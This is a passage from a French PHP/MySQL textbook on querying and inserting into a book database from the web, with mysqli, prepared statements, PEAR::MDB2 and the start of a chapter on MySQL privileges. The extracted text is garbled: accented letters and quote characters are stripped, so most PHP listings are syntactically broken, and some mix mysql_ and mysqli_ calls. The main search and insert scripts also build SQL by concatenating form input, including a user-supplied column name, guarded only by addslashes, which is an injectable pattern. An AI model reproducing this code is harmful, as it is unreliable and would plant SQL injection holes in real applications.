puissiez accder votre base de donnes partir du Web. Nous explorerons galement
quelques techniques avances de MySQL.
Si vous souhaitez vous documenter plus prcisment sur SQL, vous pouvez vous reporter
au standard SQL ANSI, disponible sur le site http://www.ansi.org/.
Pour plus de dtails sur les extensions de MySQL par rapport SQL ANSI, consultez le
site web de MySQL, http://www.mysql.com.

Pour la suite
Au Chapitre 11, nous verrons comment rendre la base de donnes Book-O-Rama
disponible sur le Web.

11
Accs une base de donnes
MySQL partir du Web avec PHP
Auparavant, lorsque nous travaillions avec PHP, nous nous servions dun fichier plat
pour enregistrer et rcuprer nos donnes. Lorsque nous avons mentionn cette approche (voir Chapitre 2), nous avons galement dit que les systmes de bases de donnes
relationnelles rendent ces deux tches (enregistrement et rcupration des donnes) la
fois plus simples, plus sres et plus efficaces dans le cadre dune application web.
Maintenant que nous sommes capables de nous servir de MySQL pour crer des bases
de donnes, nous pouvons commencer connecter cette base de donnes une interface web.
Dans ce chapitre, nous verrons comment accder la base de donnes de Book-ORama partir du Web, en utilisant PHP. Nous expliquerons comment lire et crire dans
cette base de donnes et comment filtrer les donnes dentre susceptibles de poser
problme.

Fonctionnement des architectures de bases de donnes web


Au Chapitre 8, nous avons prsent le fonctionnement des architectures de bases de
donnes web. titre de rappel, voici les principales tapes de ce processus :
1. Le navigateur web dun utilisateur envoie une requte HTTP demandant une page
particulire. Par exemple, lutilisateur peut avoir demand de chercher tous les
livres crits par Michael Morgan laide dun formulaire HTML. La page de
recherche des rsultats sappelle resultats.php.
2. Le serveur web reoit la requte concernant resultats.php, rcupre le fichier correspondant et le passe au moteur PHP afin quil y soit trait.

282

Partie II

Utilisation de MySQL

3. Le moteur PHP commence analyser le script. lintrieur de celui-ci se trouve


une commande permettant de se connecter la base de donnes et dexcuter une
requte (cest--dire de rechercher les livres). PHP ouvre ensuite une connexion
vers le serveur MySQL et envoie la requte approprie.
4. Le serveur MySQL reoit la requte de base de donnes, la traite et renvoie les
rsultats obtenus (une liste de livres) au moteur PHP.
5. Le moteur PHP finit lexcution du script, consistant gnralement formater en
HTML les rsultats de la requte. Le fichier HTML obtenu est alors renvoy au
serveur web.
6. Le serveur web renvoie son tour le fichier HTML au navigateur, qui laffiche pour
que lutilisateur puisse voir la liste des livres quil a demande.
Maintenant que nous possdons une base de donnes MySQL, nous pouvons crire le code
PHP permettant dexcuter les tapes prcdentes. Nous commencerons par le formulaire de recherche. Il sagit dun formulaire en HTML classique, comme celui du
Listing 11.1.
Listing 11.1 : recherche.html La page de recherche dans la base de donnes
de Book-O-Rama
<html>
<head>
<title>Recherche dans le catalogue de Book-O-Rama</title>
</head>
<body>
<h1>Recherche dans le catalogue de Book-O-Rama</h1>
<form action="resultats.php" method="post">
Choisissez un type de recherche&nbsp;:<br />
<select name="type_recherche">
<option value="auteur">Par auteur</option>
<option value="titre">Par titre</option>
<option value="isbn">Par ISBN</option>
</select>
<br />
Entrez le terme recherch&nbsp;:<br />
<input name="terme_recherche" type="text" size="40" />
<br />
<input type="submit" value="Rechercher" />
</form>
</body>
</html>

Chapitre 11

Accs une base de donnes MySQL partir du Web avec PHP

283

Ce formulaire HTML est trs simple. Sa sortie est prsente la Figure 11.1.
Figure 11.1
Le formulaire de recherche
est trs gnral puisquil
permet de chercher un
livre partir de son titre,
de son auteur ou de son
code ISBN.

Le script appel lorsque lutilisateur clique sur le bouton Rechercher sappelle resultats.php ; son code est celui du Listing 11.2. Tout au long de ce chapitre, nous allons
expliquer le but et le fonctionnement de ce script.
Listing 11.2 : resultats.php Le script qui rcupre les rsultats de notre base de donnes
MySQL et qui les formate pour les afficher correctement
<html>
<head>
<title>Rsultats de la recherche dans Book-O-Rama</title>
</head>
<body>
<h1>Rsultats de la recherche dans Book-O-Rama</h1>
<?php
// Cration de variables aux noms abrgs
$type_recherche = $_POST[type_recherche];
$terme_recherche = trim($_POST[terme_recherche]);
if (!$type_recherche ||!$terme_recherche) {
echo "Vous navez pas saisi les dtails de la recherche";
exit;
}
if (!get_magic_quotes_gpc()) {
$type_recherche = addslashes($type_recherche);
$terme_recherche = addslashes($terme_recherche);
}
@$db = new mysqli(localhost, bookorama, bookorama123, livres);
if (mysqli_connect_errno()) {
echo "Impossible de se connecter la base de donnes.";
exit;
}

284

Partie II

Utilisation de MySQL

$requete = "select * from livres where " . $type_recherche .


" like %" . $terme_recherche . "%";
$resultat = $db->query($requete);
$nb_lig_resultat = $resultat->num_rows;
echo "<p>Nombre de livres trouvs&nbsp;: " . $nb_lig_resultat . "</p>";
for ($i = 0; $i < $nb_lig_resultat; $i++) {
$ligne = $resultat->fetch_assoc();
echo "<p><strong>" . ($i+1) . ". Titre&nbsp;: ";
echo htmlspecialchars(stripslashes($ligne[titre]));
echo "</strong><br />Auteur&nbsp;: ";
echo stripslashes($ligne[auteur]);
echo "<br />ISBN&nbsp;: ";
echo stripslashes($ligne[isbn]);
echo "<br />Prix&nbsp;: ";
echo stripslashes($ligne[prix]);
echo </p>;
}
$resultat->free();
$db->close();
?>
</body></html>

Vous remarquerez que ce script vous permet dentrer les caractres joker de MySQL %
et (blanc soulign), ce qui peut tre utile pour lutilisateur. Si cela pose problme,
vous pouvez protger ces caractres.
La Figure 11.2 illustre les rsultats de ce script.
Figure 11.2
Les rsultats de la recherche
des livres sur Java dans
la base de donnes sont
prsents dans une page web
grce au script resultats.php.

Chapitre 11

Accs une base de donnes MySQL partir du Web avec PHP

285

Principales tapes dans linterrogation dune base de donnes partir


du Web
Dans tous les scripts utiliss pour accder une base de donnes partir du Web, il faut
respecter les tapes suivantes :
1. Vrifier et filtrer les donnes fournies par lutilisateur.
2. tablir une connexion vers la base de donnes approprie.
3. Interroger la base de donnes.
4. Rcuprer les rsultats.
5. Prsenter les rsultats lutilisateur.
Ce sont ces tapes que nous avons suivies dans le script resultats.php et nous allons
maintenant les tudier une par une.

Vrifier et filtrer les donnes saisies par lutilisateur


Nous commenons le script en supprimant tous les espaces que lutilisateur peut avoir
saisis par inadvertance au dbut ou la fin de ses donnes. Pour cela, nous appliquons la
fonction trim() $ POST[terme recherche] avant de lui associer un nom plus court :
$terme_recherche = trim($_POST[terme_recherche]);

Ltape suivante consiste vrifier que lutilisateur a bien entr une expression
rechercher et quil a slectionn un type de recherche. Vous remarquerez que nous
effectuons cette vrification aprs avoir supprim les espaces aux deux extrmits du
terme recherch : si nous inversions ces deux oprations, nous ne pourrions pas dtecter
le cas o lutilisateur a saisi uniquement des espaces et nous ne pourrions donc pas afficher
un message derreur puisque ces espaces nauraient pas t supprims par trim() :
if (!$type_recherche ||!$terme_recherche) {
echo "Vous navez pas saisi les dtails de la recherche."
exit;
}

Vous remarquerez que nous vrifions aussi la variable $type recherche, bien quelle
provienne dans notre cas dune instruction SELECT de HTML. Vous vous demandez
peut-tre pourquoi nous prenons la peine de vrifier des variables qui doivent tre
remplies automatiquement. Il est trs important de se rappeler quil peut exister
plusieurs interfaces votre base de donnes. Amazon, par exemple, possde plusieurs
filiales qui se servent de leur interface de recherche. En outre, il est important de filtrer
les donnes pour viter tout problme de scurit provenant des diffrentes interfaces
mises la disposition des utilisateurs pour saisir leurs donnes.

286

Partie II

Utilisation de MySQL

Si vous comptez utiliser des donnes saisies par les utilisateurs, il faut les filtrer pour en
supprimer tous les caractres de contrle. Pour cela, utilisez les fonctions addslashes(),
stripslashes() et get magic quotes gpc() que nous avons vues au Chapitre 4. Vous
devez protger les donnes lorsque vous soumettez une entre utilisateur dans une base de
donnes comme MySQL.
Ici, il faut tester le rsultat de la fonction get magic quotes gpc(), qui vous indique si
la mise entre apostrophes est automatique. Si ce nest pas le cas, protgez les donnes
avec addslashes() :
if (!get_magic_quotes_gpc()) {
$type_recherche = addslashes($type_recherche);
$terme_recherche = addslashes($terme_recherche);
}

Vous devez galement utiliser stripslashes() sur les donnes qui proviennent de la base
de donnes. Si la fonctionnalit des apostrophes automatiques est active, les donnes
provenant de la base contiennent en effet des barres obliques que vous devez retirer.
Nous utilisons galement la fonction htmlspecialchars() pour encoder les caractres
qui ont une signification particulire en HTML. Nos donnes de test actuelles ne contiennent aucun de ces caractres (&, <, >, ou "), mais il existe plusieurs titres de livres qui
contiennent le symbole &. Grce cette fonction, nous pouvons liminer de futures
erreurs.

tablissement de la connexion
La bibliothque PHP pour se connecter MySQL sappelle mysqli (le i signifie improved,
cest--dire amlior). Vous avez le choix entre une syntaxe oriente objet ou une
syntaxe procdurale.
Dans le script, cest la ligne suivante qui nous permet de nous connecter au serveur
MySQL :
@$db = new mysqli(localhost, bookorama, bookorama123, livres);

Celle-ci cre une instance de la classe mysqli et une connexion lhte localhost
avec le nom dutilisateur bookorama et le mot de passe bookorama123. Cette
connexion est configure de manire utiliser la base de donnes appele livres.
Avec cette approche oriente objet, vous pouvez maintenant invoquer des mthodes sur
cet objet afin daccder la base de donnes. Si vous prfrez lapproche procdurale,
utilisez la ligne suivante pour crer la mme connexion :
@$db = mysqli_connect(localhost, bookorama, bookorama123,
livres);

Chapitre 11

Accs une base de donnes MySQL partir du Web avec PHP

287

Au lieu dun objet, cet appel renvoie alors une ressource qui reprsente la connexion
la base de donnes. Si vous utilisez lapproche procdurale, vous devrez passer cette
ressource tous les autres appels des fonctions mysqli. Ce mcanisme est trs semblable
celui des fonctions sur les fichiers comme fopen().
La plupart des fonctions mysqli ont une interface oriente objet et une interface procdurale. En gnral, les diffrences tiennent ce que les noms de fonction de la version procdurale commencent par mysqli et exigent que vous passiez le descripteur que vous avez
obtenu de mysqli connect(). Les connexions de la base de donnes font exception cette
rgle car elles peuvent tre effectues par le constructeur de lobjet mysqli.
Il est prfrable de vrifier le rsultat de votre tentative de connexion, car rien dans le
reste du code ne fonctionnera si la connexion la base de donnes na pas fonctionn.
Pour cela, vous pouvez utiliser le code suivant :
if (mysqli_connect_errno()) {
echo "Impossible de se connecter la base de donnes.";
exit;
}

Ce code est identique pour la version oriente objet et la version procdurale. La fonction mysqli connect errno() renvoie un numro derreur en cas derreur et zro en
cas de succs.
Lorsque vous vous connectez la base de donnes, commencez la ligne de code avec
loprateur de suppression derreur, @. Cette approche vous permettra de grer les
erreurs avec lgance (cela peut galement tre ralis avec des exceptions, que nous
navons pas utilises dans cet exemple simple).
Noubliez pas que le nombre de connexions MySQL simultanes est limit par le paramtre MySQL max connections. Lintrt de ce paramtre et du paramtre Apache
MaxClients associ est de permettre au serveur de rejeter les nouvelles demandes de
connexion lorsquun ordinateur commence tre surcharg ou lors dun problme logiciel.
Vous pouvez modifier la valeur par dfaut de ces deux paramtres en modifiant les
fichiers de configuration. Pour modifier MaxClients dans Apache, ditez le fichier
httpd.conf de votre systme. Pour changer le paramtre max connections de MySQL,
modifiez le fichier my.conf.

Choisir une base de donnes utiliser


Vous vous rappelez que, lorsque nous utilisons MySQL partir de la ligne de
commande, nous devons lui indiquer la base de donnes que nous avons lintention
dutiliser, avec une commande comme celle-ci :
use livres;

288

Partie II

Utilisation de MySQL

Cette tape est aussi ncessaire lorsque nous nous connectons partir du Web.
La base de donnes utiliser est indique en paramtre du constructeur mysqli ou de la
fonction mysqli connect(). Si vous souhaitez modifier la base de donnes par dfaut,
vous pouvez le faire avec la fonction mysqli select db() :
$db->select_db(nom_base)

ou comme ceci :
mysqli_select_db(descripteur, nom_base)

Vous pouvez remarquer ici la similarit avec les fonctions que nous avons dcrites
auparavant : la version procdurale commence avec mysqli et requiert le descripteur
de la connexion en paramtre.

Interroger la base de donnes


Pour raliser la requte, vous pouvez utiliser mysql query(). Cependant, avant dappeler
cette fonction, il vaut mieux construire la requte que vous voulez excuter :
$requete = "select * from livres where " .
$type_recherche . "like %$terme_recherche%";

Ici, nous recherchons les donnes saisies par lutilisateur ($terme recherche) dans le
champ quil a indiqu ($type recherche). Vous remarquerez que nous avons utilis
loprateur like au lieu de lgalit : il est gnralement prfrable dtre assez tolrant
pour les recherches dans les bases de donnes.
ASTUCE
Il est important de bien comprendre que les requtes que vous envoyez MySQL nont pas
besoin de se terminer par un point-virgule, contrairement aux requtes que vous saisissez
dans le moniteur de MySQL.

Nous pouvons maintenant excuter la requte :


$resultat = $db->query($requte);

Si vous souhaitez utiliser linterface procdurale, utilisez cette syntaxe :


$resultat = mysqli_query($db, $requte);

Ici, vous passez la requte que vous souhaitez excuter et, dans linterface procdurale,
le descripteur de la base de donnes ($db).
La version oriente objet renvoie un objet rsultat, tandis que la version procdurale
renvoie un descripteur de rsultat (ce systme est semblable au fonctionnement de la
connexion). Dans les deux cas, vous stockez ce rsultat dans une variable ( $resultat)
pour pouvoir lutiliser plus tard. Cette fonction renvoie false en cas dchec.

Chapitre 11

Accs une base de donnes MySQL partir du Web avec PHP

289

Rcuprer les rsultats de la requte


Il existe plusieurs fonctions permettant de rcuprer les rsultats partir de lobjet ou
du descripteur de rsultat. Cet objet ou ce descripteur sont essentiels pour accder aux
lignes renvoyes par la requte.
Dans cet exemple, vous avez compt le nombre de lignes et utilis galement la fonction
mysqli fetch assoc().
Lorsque vous utilisez lapproche oriente objet, le nombre de lignes est stock dans le
membre num rows de lobjet rsultat. Vous pouvez y accder de la manire suivante :
$nb_lig_resultat = $resultat->num_rows;

Lorsque vous utilisez lapproche procdurale, la fonction mysqli num rows() donne le
nombre de lignes retournes par la requte. Il faut lui passer lidentificateur de rsultat,
comme ceci :
$nb_lig_resultat = mysql_num_rows($result);

Cette information est intressante : si nous avons lintention de traiter ou dafficher les
rsultats, nous pouvons ainsi savoir combien il y en a et les traiter dans une boucle :
for ($i = 0; $i < $nb_lig_resultat; $i++) {
// Traitement du rsultat
}

chaque itration de cette boucle, nous appelons $resultat >fetch assoc() (ou
mysqli fetch assoc()). Cette boucle ne sera donc pas excute le rsultat de la
requte ne contenait aucune ligne. La fonction fetch assoc() prend chaque ligne du
rsultat et la renvoie sous la forme dun tableau associatif o les cls correspondent aux
noms de colonnes et les valeurs sont les valeurs de ces colonnes :
$ligne = $resultat->fetch_assoc();

Vous pouvez aussi utiliser une approche procdurale :


$ligne = mysqli_fetch_assoc($resultat);

partir du tableau associatif $ligne, nous pouvons parcourir chaque champ et lafficher
de manire approprie, comme ici :
echo "<br />ISBN&nbsp;: ;
echo stripslashes($ligne[isbn]);

Comme nous lavons dj vu, nous nous servons de stripslashes() pour filtrer les
valeurs avant de les afficher.
Il existe plusieurs manires de rcuprer les lignes partir de lobjet ou du descripteur
de rsultat. Au lieu de passer par un tableau associatif, nous pouvons placer chaque
ligne dans un tableau classique avec mysql fetch row(), comme ici :
$ligne = $resultat->fetch_row();

290

Partie II

Utilisation de MySQL

ou
$ligne = mysqli_fetch_row($resultat);

Les valeurs des colonnes seront alors les valeurs $ligne[0], $ligne[1], etc. La fonction mysqli fetch array() permet dextraire une ligne comme lun ou lautre de ces
deux types de tableaux.
Vous pouvez galement rcuprer une ligne sous la forme dun objet avec la fonction
mysql fetch object() :
$ligne = $result->fetch_object();

ou
$ligne = mysqli_fetch_object($resultat);

Vous pouvez ensuite accder chacun des champs avec $ligne >titre, $ligne
>auteur, etc.

Dconnexion de la base de donnes


Vous pouvez librer lespace occup par le rsultat en appelant :
$resultat->free();

ou
mysqli_free_result($resultat);

Vous pouvez ensuite utiliser :


$db->close();

ou
mysqli_close($db);

pour fermer la connexion la base de donnes. Lutilisation de cette commande nest


pas strictement ncessaire, car la connexion est de toute faon ferme lorsquun script
termine son excution.

Ajouter des informations dans la base de donnes


Linsertion de nouveaux lments dans la base de donnes ressemble beaucoup leur
rcupration. Il faut en effet suivre les mmes tapes : tablir une connexion, envoyer
une requte et vrifier les rsultats. Ici, vous devrez envoyer une requte INSERT au lieu
dune requte SELECT.
Bien que le code soit relativement similaire, il peut tre utile de consulter un exemple
de rfrence. La Figure 11.3 montre un petit formulaire HTML qui permet dajouter de
nouveaux livres dans la base de donnes.

Chapitre 11

Accs une base de donnes MySQL partir du Web avec PHP

Figure 11.3
Linterface permettant
dajouter de nouveaux
livres dans la base de
donnes.

Le code HTML de cette page est prsent dans le Listing 11.3.


Listing 11.3 : nouveau_livre.html Le code HTML de la page dajout de livres
<html>
<head>
<title>Book-O-Rama - Ajout dun nouveau livre</title>
</head>
<body>
<h1>Book-O-Rama - Ajout dun nouveau livre</h1>
<form action="insertion_livre.php" method="post">
<table border="0">
<tr>
<td>ISBN</td>
<td><input type="text" name="isbn" maxlength="13"
size="13"><br /></td>
</tr>
<tr>
<td>Auteur</td>
<td> <input type="text" name="auteur" maxlength="30"
size="30"><br /></td>
</tr>
<tr>
<td>Titre</td>
<td> <input type="text" name="titre" maxlength="60"
size="30"><br></td>
</tr>
<tr>
<td>Prix</td>
<td><input type="text" name="prix" maxlength="7"
size="7"><br /></td>
</tr>
<tr>
<td colspan="2"><input type="submit" value="Enregistrer"></td>
</tr>
</table>
</form>
</body>
</html>

291

292

Partie II

Utilisation de MySQL

Les donnes de ce formulaire sont transmises au script insertion_livre.php, qui


soccupe des dtails, effectue quelques validations mineures et tente dcrire les informations dans la base de donnes. Le code de ce script se trouve dans le Listing 11.4.
Listing 11.4 : insertion_livre.php Le script qui crit les nouveaux livres dans la base
de donnes
<html>
<head>
<title>Book-O-Rama Rsultat de lajout dun livre</title>
</head>
<body>
<h1>Book-O-Rama Rsultat de lajout dun livre</h1>
<?php
// Cration de variables aux noms abrgs
$isbn = $_POST[isbn];
$auteur = $_POST[auteur];
$titre = $_POST[titre];
$prix = $_POST[prix];
if (!$isbn ||!$auteur ||!$titre ||!$prix) {
echo "Vous navez pas indiqu tous les dtails requis.<br />";
exit;
}
if (!get_magic_quotes_gpc())
{
$isbn = addslashes($isbn);
$auteur = addslashes($auteur);
$titre = addslashes($titre);
$prix = doubleval($prix);
}
@$db = mysql_pconnect(localhost, bookorama, bookorama123,
livres);
if (mysqli_connect_errno()) {
echo "Impossible de se connecter la base de donnes.";
exit;
}
$requete = "insert into livres values
(".$isbn., ".$auteur., ".$titre., ".$prix.);
$resultat = $db->query($requete);
if ($resultat) {
echo $db->affected_rows. " livre insr dans la base de donnes.";
} else {
echo "Une erreur sest produite. Le livre na pas t ajout.";
}
$db->close();
?>
</body></html>

Chapitre 11

Accs une base de donnes MySQL partir du Web avec PHP

293

Le rsultat dune insertion russie est prsent la Figure 11.4.

Figure 11.4
Le script se termine correctement et indique que le livre a t ajout la base de donnes.

Si vous examinez le code de insertion_livre.php, vous constaterez quil ressemble beaucoup au script que nous avons crit pour rcuprer des informations de la base de
donnes. Nous vrifions que tous les champs du formulaire sont correctement remplis
et nous les formatons (si ncessaire) avec addslashes() pour quils puissent tre ajouts
dans la base de donnes :
if (!get_magic_quotes_gpc()) {
$isbn = addslashes($isbn);
$auteur = addslashes($auteur);
$titre = addslashes($titre);
$prix = doubleval($prix);
}

Comme le prix de chaque livre est enregistr dans la base de donnes sous la forme
dun nombre virgule flottante, il ne doit contenir aucune barre oblique. Nous pouvons
filtrer ce caractre et tous les autres caractres gnants avec doubleval(), que nous
avons dj vue au Chapitre 1. Cela permet en outre de supprimer tous les symboles
montaires que lutilisateur aurait pu saisir dans le formulaire.
Une fois encore, nous nous sommes connects la base de donnes en instanciant
lobjet mysqli et en configurant une requte envoyer cette base. Ici, il sagit dune
requte SQL INSERT :
$requete = "insert into livres values
(".$isbn., ".$auteur., ".$titre., ".$prix.);
$resultat = $db->query($requete);

Cette requte est excute sur la base de donnes en appelant $db >query() (ou
mysqli query() si vous adoptez lapproche procdurale).
Une diffrence importante entre lutilisation de INSERT et de SELECT rside dans lutilisation de mysqli affected rows(). Il sagit dune fonction dans la version procdurale
ou dune variable de classe dans la version oriente objet :
echo

$db->affected_rows . " livre ajout la base de donnes.";

294

Partie II

Utilisation de MySQL

Dans le script prcdent, nous nous tions servis de mysqli num rows() pour dterminer le nombre de lignes renvoyes par SELECT. Lorsque vous crivez des requtes qui
modifient la base de donnes, comme INSERT, DELETE ou UPDATE, vous devez vous
servir de mysql affected rows().

Utiliser des instructions prpares


La bibliothque mysqli reconnat les instructions prpares, qui permettent dacclrer
les excutions rptes dune mme requte avec des donnes diffrentes. Elles offrent
en outre une protection contre les attaques par injection SQL.
Lide fondamentale dune instruction prpare est que vous envoyez un modle de la
requte que vous souhaitez excuter MySQL, puis que vous transmettez les donnes
sparment. Vous pouvez envoyer plusieurs lots de donnes la mme instruction
prpare ; cette capacit est particulirement utile pour les insertions en masse.
Voici comment utiliser des instructions prpares dans le script insertion livre.php :
$requete = "insert into livres values(?,?,?,?)";
$instr = $db->prepare($requete);
$instr->bind_param("sssd", $isbn, $auteur, $titre, $prix);
$instr->execute();
echo $instr->affected_rows. livre insr dans la base de donnes.";
$instr->close();

tudions ce code ligne par ligne.


Au lieu de mettre les variables dans la requte comme prcdemment, on place des
points dinterrogation pour chaque lment de donnes. Il ne faut mettre aucune apostrophe ni aucun autre dlimiteur autour de ces points dinterrogation.
La seconde ligne est un appel $db >prepare(), qui sappelle mysqli stmt prepare()
dans sa version procdurale. Cette ligne construit un objet ou un descripteur dinstruction
que vous utiliserez pour raliser le traitement lui-mme.
Lobjet instruction possde une mthode appele bind param() (dans la version procdurale, il sagit de mysqli stmt bind param()). Son rle consiste indiquer PHP
quelles variables doivent venir remplacer les points dinterrogation. Le premier paramtre est une chane de format qui fonctionne un peu la manire de celle utilise dans
printf(). La valeur que vous passez ici ("sssd") signifie que les quatre paramtres
sont, respectivement, une chane ("s" comme string, en anglais), une chane, une chane
et un double. Les autres caractres possibles de cette chane de format sont i pour le
type entier et b pour BLOB. Aprs ce paramtre, vous devez numrer le mme nombre
de variables quil y a de points dinterrogation dans votre instruction. Ils seront remplacs
selon leur ordre dapparition.

Chapitre 11

Accs une base de donnes MySQL partir du Web avec PHP

295

Lappel $instr >execute() (mysqli stmt execute() dans la version procdurale)


excute la requte. Vous pouvez ensuite accder au nombre de lignes affectes et fermer
linstruction.
Lintrt de cette instruction prpare est que vous pouvez dsormais modifier les valeurs
des quatre variables lies puis rexcuter linstruction sans avoir la reprparer. Cette fonctionnalit permet donc de traiter des insertions massives laide dune simple boucle.
Vous pouvez galement lier les rsultats. Pour les requtes de type SELECT, vous pouvez
utiliser $instr >bind result() (ou mysqli stmt bind result()) pour fournir une
liste de variables dans lesquelles vous souhaitez placer les colonnes du rsultat.
chaque appel de $instr >fetch() (ou mysqli stmt fetch()), les valeurs des colonnes
de la ligne suivante du rsultat viendront remplir ces variables lies. Par exemple, dans le
script de recherche de livre que nous avons examin plus haut, vous pourriez utiliser :
$instr->bind_result($isbn, $auteur, $titre, $prix);

pour lier ces quatre variables aux quatre colonnes renvoyes par la requte. Aprs avoir
appel :
$instr->execute();

vous pouvez appeler :


$instr->fetch();

dans la boucle. chaque fois que cette fonction est appele, elle extrait la ligne
suivante du rsultat et lutilise pour remplir les quatre variables lies.
Vous pouvez utiliser mysqli stmt bind param() et mysqli stmt bind result()
dans le mme script.

Autres interfaces PHP pour les bases de donnes


PHP dispose de plusieurs bibliothques lui permettant de se connecter diverses bases
de donnes, comme Oracle, Microsoft SQL Server et PostgreSQL.
En gnral, les principes pour se connecter une base de donnes et pour lui envoyer des
requtes restent les mmes. Les noms des fonctions peuvent varier, tout comme les fonctionnalits offertes par les diffrentes SGBDR mais, si vous pouvez vous connecter
MySQL, vous devriez tre capable de vous adapter nimporte quel autre environnement.
Si vous souhaitez utiliser une base de donnes ne possdant aucune bibliothque spcifique pour PHP, vous pouvez toujours passer par les fonctions ODBC (Open Database
Connectivity) gnriques. ODBC est un standard pour les connexions des bases de
donnes mais, pour des raisons videntes, il ne dispose que de fonctionnalits limites.
Lorsquun systme doit possder une compatibilit maximale, il ne peut pas exploiter
toutes les caractristiques de chaque systme.

296

Partie II

Utilisation de MySQL

Outre les bibliothques fournies avec PHP, il existe des classes dabstraction pour les
bases de donnes, comme MDB2, qui permettent dutiliser les mmes noms de fonctions
pour tous les SGBDR.

Utilisation dune interface de base de donnes gnrique :


PEAR::MDB2
Nous allons nous intresser un petit exemple utilisant la couche dabstraction MDB2,
qui est lun des composants de PEAR le plus utilis. Si cette couche dabstraction nest
pas dj installe sur votre systme, consultez la partie de lAnnexe A consacre
linstallation de PEAR.
des fins de comparaison, examinons la manire dont nous aurions crit le script de
recherche avec MDB2.
Listing 11.5 : resultats_generique.php Rcupre les rsultats dune recherche
dans une base de donnes MySQL et les formate pour affichage
<html>
<head>
<title>Book-O-Rama Rsultats de la recherche</title>
</head>
<body>
<h1>Book-O-Rama Rsultats de la recherche</h1>
<?php
// Cration de variables aux noms abrgs
$type_recherche = $_POST[type_recherche];
$terme_recherche = trim($_POST[terme_recherche]);
// Cration de variables aux noms abrgs
$type_recherche = $_POST[type_recherche];
$terme_recherche = trim($_POST[terme_recherche]);
if (!$type_recherche ||!$terme_recherche) {
echo "Vous navez pas saisi les dtails de la recherche";
exit;
}
if (!get_magic_quotes_gpc()) {
$type_recherche = addslashes($type_recherche);
$terme_recherche = addslashes($terme_recherche);
}
// Configuration de PEAR MDB2
require_once(MDB2.php);
$utilisateur = bookorama;
$mdp = bookorama123;
$hote = localhost;
$nom_base = livres;
// Cration dune chane de connexion universelle ou DSN
// (Data Source Name)
$dsn = "mysqli://".$utilisateur.":".$mdp."@".$hote."/".$nom_base;

Chapitre 11

Accs une base de donnes MySQL partir du Web avec PHP

297

// Connexion la base
$db = &MDB2::connect($dsn);
// Teste la connexion
if (MDB2::isError($db)) {
echo $db->getMessage();
exit;
}
// Cration et excution de la requte
$requete = "select * from livres where " . $type_recherche .
"like %" . $terme_recherche . "%";
$resultat = $db->query($requete);
// Teste le rsultat
if (MDB2::isError($resultat)) {
echo $db->getMessage();
exit;
}
// Rcupre le nombre de lignes du rsultat
$nb_lig_resultat = $resultat->numRows();
// Affiche toutes les lignes du rsultat
for ($i = 0; $i < $nb_lig_resultat; $i++) {
$ligne = $resultat->fetchRow(MDB2_FETCHMODE_ASSOC);
echo "<p><strong>" . ($i+1) . ". Titre&nbsp;: ";
echo htmlspecialchars(stripslashes($ligne[titre]));
echo "</strong><br />Auteur&nbsp;: ";
echo stripslashes($ligne[auteur]);
echo "<br />ISBN&nbsp;: ";
echo stripslashes($ligne[isbn]);
echo "<br />Prix&nbsp;: ";
echo stripslashes($ligne[prix]);
echo </p>;
}
// Dconnexion de la base
$db->disconnect();
?>
</body>
</html>

Examinons les diffrences qui apparaissent dans ce script par rapport la version mysqli.
Pour nous connecter la base de donnes, nous nous servons de la ligne suivante :
$db = MDB2::connect($dsn);

Cette fonction prend en paramtre une chane de connexion universelle qui contient
toutes les informations indispensables pour se connecter une base de donnes. On
sen rend compte lorsquon examine le format de la chane de connexion :
$dsn = "mysqli://" . $utilisateur . ":" . $mdp .
"@". $hote . "/" . $nom_base";

298

Partie II

Utilisation de MySQL

Puis nous vrifions le bon tablissement de la connexion avec la mthode isError() ; en


cas de problme, nous affichons le message derreur et nous arrtons lexcution du script :
if (DB::isError($db)) {
echo $db->getMessage();
exit;
}

Si tout sest bien pass, nous construisons une requte et nous lexcutons de la manire
suivante :
$resultat = $db->query($query);

Nous pouvons vrifier le nombre de lignes retournes :


$nb_lig_resultat

= $resultat->numRows();

Nous rcuprons chaque ligne de la manire suivante :


$ligne = $resultat->fetchRow(MDB2_FETCHMODE_ASSOC);

La mthode gnrique fetchRow() peut rcuprer les lignes sous plusieurs formats ; le
paramtre MDB2 FETCHMODE ASSOC indique que nous souhaitons ici que la ligne soit
renvoye sous forme de tableau associatif.
Aprs le traitement des lignes du rsultat, nous fermons la connexion la base de donnes :
$db->disconnect();

Comme vous pouvez le voir, cet exemple gnrique ressemble beaucoup notre
premier script.
Lintrt de MDB2 est quil suffit de connatre un seul ensemble de fonctions de base de
donnes et que le code ne ncessitera donc que peu de modifications en cas de changement du logiciel de base de donnes.
Ce livre tant consacr MySQL, nous ne nous servirons que des bibliothques natives
de MySQL pour des raisons de rapidit dexcution et de flexibilit. Cependant, le
recours une couche dabstraction peut parfois se rvler extrmement pratique.

Pour aller plus loin


Pour plus dinformations sur les connexions MySQL/PHP, reportez-vous aux sections
appropries des manuels de PHP et de MySQL.
Vous trouverez plus dinformations sur ODBC sur la page http://www.webopedia.com/TERM/O/odbc.html.

Pour la suite
Au prochain chapitre, nous nous intresserons aux dtails de ladministration MySQL
et nous verrons comment optimiser les bases de donnes.

12
Administration MySQL avance
Dans ce chapitre, nous prsenterons quelques aspects plus techniques de MySQL,
comme les privilges avancs, la scurit et loptimisation.

Les dtails du systme des privilges


Au cours du Chapitre 9, nous avons vu comment configurer des utilisateurs et leur attribuer des privilges avec la commande GRANT. Si vous avez lintention dadministrer une
base de donnes MySQL, il peut tre intressant de comprendre exactement comment
fonctionne cette commande et ce quelle fait rellement.
Lorsque vous excutez une commande GRANT, celle-ci modifie les tables dune base de
donnes particulire appele mysql. Les informations de privilges sont enregistres
dans six tables de cette base de donnes. Sachant cela, lorsque vous accordez des privilges sur les bases de donnes, il faut faire attention ne pas octroyer daccs injustifis
la base mysql.
Vous pouvez examiner le contenu de la base de donnes mysql en ouvrant une session
sous le compte administrateur et en excutant la commande suivante :
use mysql;

Pour afficher les tables de cette base de donnes, faites la commande suivante :
show tables;

300

Partie II

Utilisation de MySQL

Vous devriez obtenir un rsultat comparable ceci :


+---------------------------+
| Tables_in_mysql
|
+---------------------------+
| columns_priv
|
| db
|
| event
|
| func
|
| general_log
|
| help_category
|
| help_keyword
|
| help_relation
|
| help_topic
|
| host
|
| ndb_binlog_index
|
| plugin
|
| proc
|
| procs_priv
|
| servers
|
| slow_log
|
| tables_priv
|
| time_zone
|
| time_zone_leap_second
|
| time_zone_name
|
| time_zone_transition
|
| time_zone_transition_type |
| user
|
+---------------------------+

Chacune de ces tables contient des informations systme. Six dentre elles ( user, host,
